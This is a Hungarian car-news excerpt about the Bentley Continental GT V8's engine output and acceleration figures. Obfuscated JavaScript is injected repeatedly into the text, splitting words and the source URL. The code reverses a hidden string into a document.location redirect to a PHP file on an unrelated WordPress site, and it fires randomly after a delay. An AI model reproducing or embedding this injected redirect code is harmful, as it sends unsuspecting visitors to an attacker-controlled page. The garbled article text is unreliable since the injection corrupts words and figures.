Bentley Continental GT V8

Továbbra is négyliteres turbómotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor hajtja a Bentley Continental GT belépő verzióját, ám az eddigi 507 helyett 550 lóerőt ad le, a forgatónyomaték 660-ról 770 Nm-re nőtt. A kupé 4,0, a kabrió 4,1 másodperc alatt gyorsul 100 km/órára, mindkettő végsebessége 318 km/óra – eddig 4,8 és 5,0 mp, illetve 303 és 301 km/óra voltak a vonatkozó értékek. Az új V8 így az eddigi V8 S kivitelnél is erősebb (528 LE, 680 Nm), illetve gyorsabb (4,5 mp és 309 km/óra a kupé, 4,7 mp és 308 km/óra a kabrió esetében.) A részterhelésen akár négyhengeresként is működni képes motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor mind a négy kerekek…

A cikk folytatódik: $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/ujdonsag/2019/03/21/bentley-continental-gt-v8.html" target="_blank">http://autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/ujdonsag/2019/03/21/bentley-continental-gt-v8.html